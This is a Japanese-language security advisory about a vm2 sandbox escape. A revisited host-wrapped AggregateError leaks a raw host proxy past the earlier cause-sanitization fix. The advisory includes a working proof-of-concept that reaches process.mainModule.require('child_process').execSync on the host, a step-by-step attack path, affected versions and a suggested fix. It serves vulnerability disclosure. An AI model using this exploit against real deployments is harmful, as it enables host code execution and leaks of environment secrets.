vm2サンドボックスからのホストへのリモートコード実行(RCE)の脆弱性について。これは、以前の修正(GHSA-m283-3h24-438v、コミット`7e3faaf`)で追加されたError.causeのホスト参照サニタイズーションを回避するものです。サンドボックスコードが、ホストによってラップされた`AggregateError`を捕捉し、*単一の`handleException`の処理中に再訪問する*(自己参照、相互参照、または`errors[]`内で同じホスト集計が2回参照される)場合、サニタイズされた`errors[]`内に生のホストプロキシが含まれ、これにより、修正と防御的設計原則#3がサニタイズすることを約束している例外発生チャネルを通じて、ホストへの完全なリモートコード実行が可能になります。

根本原因:
`handleException`関数(`lib/setup-sandbox.js`)は、1819行目の`if (apply(localWeakMapGet, visited, [e])) return e;`によって再帰的な参照サイクルを回避しますが、再訪問時に生のホストオブジェクトを返します。通常の`Error`オブジェクトの場合、`sanitizeErrorCause`または`sanitizeHostOwnProps`がホストオブジェクトを最初の訪問時に**その場で**保護するため、これは安全です。しかし、`sanitizeAggregateError`(約1954-1972行目)は、ホストによってラップされたオブジェクトをスナップショットし、新しい`LocalAggregateError`オブジェクトを構築しますが、元のオブジェクトをその場で保護しません。このようなオブジェクトが単一の処理内で再訪問されると、1819行目がまだ有効な生のホストプロキシを返し、このプロキシが`sanitizedArr[sanitizedArr.length] = handleException(item, visited)`(1965行目)によって「サニタイズされた」`errors[]`に再埋め込まれます。

影響:
vm2サンドボックス内から、ホストへのリモートコード実行(`child_process.execSync`)や、ホスト情報(`process.env`、`.pid`)の漏洩が可能になります。これは、捕捉された例外(throw)チャネルを通じて、サンドボックスからの完全なエスケープを意味します。

## 概念実証
```js
const {VM} = require('vm2');
const vm = new VM({ sandbox: { hostThrow(){
const shared = new AggregateError([], 'shared');
shared.leak = process; // 意図しないホストへの参照
throw new AggregateError([shared, shared], 'all failed'); // 同じホストオブジェクトを2回使用
}}});
console.log(vm.run(`
try { hostThrow(); } catch (e) {
e.errors[1].leak.mainModule.require('child_process').execSync('id').toString();
}`)); // -> uid=1000(...) ホストのリモートコード実行
```
確認された攻撃手法(すべて実際の `id` の出力結果を返す):AggregateError の自己参照 (`agg.errors=[agg]; agg.leak=process`)、配列内での重複 (`[shared,shared]`)、相互参照 (`a.errors=[b]; b.errors=[a]`)、およびネストされた相互参照/重複したホストのサブAggregateError。

## 攻撃経路
1. **侵入:** 埋め込み元が、サンドボックスが呼び出すホスト関数を公開します。この関数は、ホスト参照を含む `AggregateError` をスローし、再構築を生き残るスロットと、再訪問トリガー (`agg.errors=[agg]; agg.leak=process`) を持ちます。*防御:* 侵入時点では防御機構は存在しません(公開されたホスト関数からの例外発生は通常です)。*回避証明:* GHSA-m283-3h24-438v と同じ侵入クラス(埋め込み元が公開する例外をスローする関数、`docs/ATTACKS.md` のカテゴリ 38)、範囲内として認められます。
2. **例外サニタイザー:** サンドボックスは `try{hostThrow()}catch(e){…}` を実行し、トランスフォーマーは `e` を `handleException` を通して処理します。*防御:* Defense Invariant #3(集約/抑制されたネストされたフィールドは、サイクル検出によってサニタイズされる)。*回避証明:* `handleException(agg)` は `agg` が訪問済みであることをマークします(1820)。プロトコルウォークは `sanitizeAggregateError` に到達します(1865)。ホスト参照を含む分岐は `agg.errors` を読み込み、要素 0 に対して `handleException(agg, visited)` を呼び出します(1965)。その内部呼び出しで `visited.get(agg)===true` となり、`return e` が実行されます(1819)。これにより、生の `agg` プロキシが `sanitizedArr` にプッシュされ、`newAgg.errors[0]` になります。再構築は `agg` を固定しないため、返されたプロキシは完全に有効です。
3. **脆弱点:** `e.errors[0].leak.mainModule.require('child_process').execSync('id')`. *防御:* ブリッジの `get` はホストの値をラップします。*回避証明:* ラップは機能的なものであり、capabilityを制限するものではありません。インストルメントされたトレースにより、`e.errors[0].isProxy===true` であるにもかかわらず、このチェーンが実行され、実際の `uid=1000(ubuntu)...` が返されることが示されています。
4. **影響:** ホストの任意のコード実行(RCE)が可能になり、ホスト権限を使用できます。また、`process.env` や `.pid` の情報漏洩も発生します。

## 回避の証拠
node v22.23、vm2 `3.11.6` で実行しました。
- 基本的なベクトル: `throw new Error('x',{cause:process})` (単純な Error の `.cause`) → 阻止
- 単純な Error のプロパティ `e.leak=process` (非循環) → 阻止
- 非循環のホスト `AggregateError` で、独自のプロパティを持つか、単一のホストサブエラーのリークがある場合 → 阻止
- **`AggregateError` の自己参照 / 配列内の重複 / 相互参照 / ネスト → RCE (`uid=1000(ubuntu)…`)**

すべての非循環形状と、正確なベースラインの `cause` ベクトルはブロックされます。リビジットされたホストの `AggregateError` のみが漏洩します。これは、修正が実装されていることを証明していますが、この入力形状はそれを回避します(不完全な修正による回避、重複ではありません)。計測されたトレース:`outerLeakType="undefined"` (外側の再構築は安全)、`isErrors0Proxy=true` (要素 0 はアクティブなホストプロキシ)、`rce=uid=1000(ubuntu)…`。

## 影響を受けるバージョン
`<= 3.11.6`。このバグは、サニタイズーションの修正 (`7e3faaf`, タグ `3.11.6`) 以降に存在します。不完全な修正による回避は、修正が存在する箇所でのみ発生します。`git diff 3.11.6 HEAD -- lib/setup-sandbox.js` は空です(HEAD と同じ)。

## 範囲に関する注意
このセキュリティアドバイザリは、**AggregateError** ファミリーのみを対象とします。`SuppressedError` のバリアントは再現されません(`se.error` が未定義を返し、RCE がブロックされるため)ため、対象外です。

## 推奨される修正
サイクルショートサーキット(1819行目)において、生のキャリアではなく、メモ化されたサンドボックスレルムの *代替* を返します(`visited` キーで指定)。または、ホストでラップされた `AggregateError`/`SuppressedError` キャリアを、サブエラーへの再帰 *前に* その場でシールします。これは、プレーンキャリアの `sanitizeHostOwnProps` の動作を反映するものです。

---
報告者:**zx (Jace)** — GitHub: @manus-use

影響を受けるパッケージ:
- npm (JavaScript) vm2: 影響あり <= 3.11.7、3.11.8 で修正済み。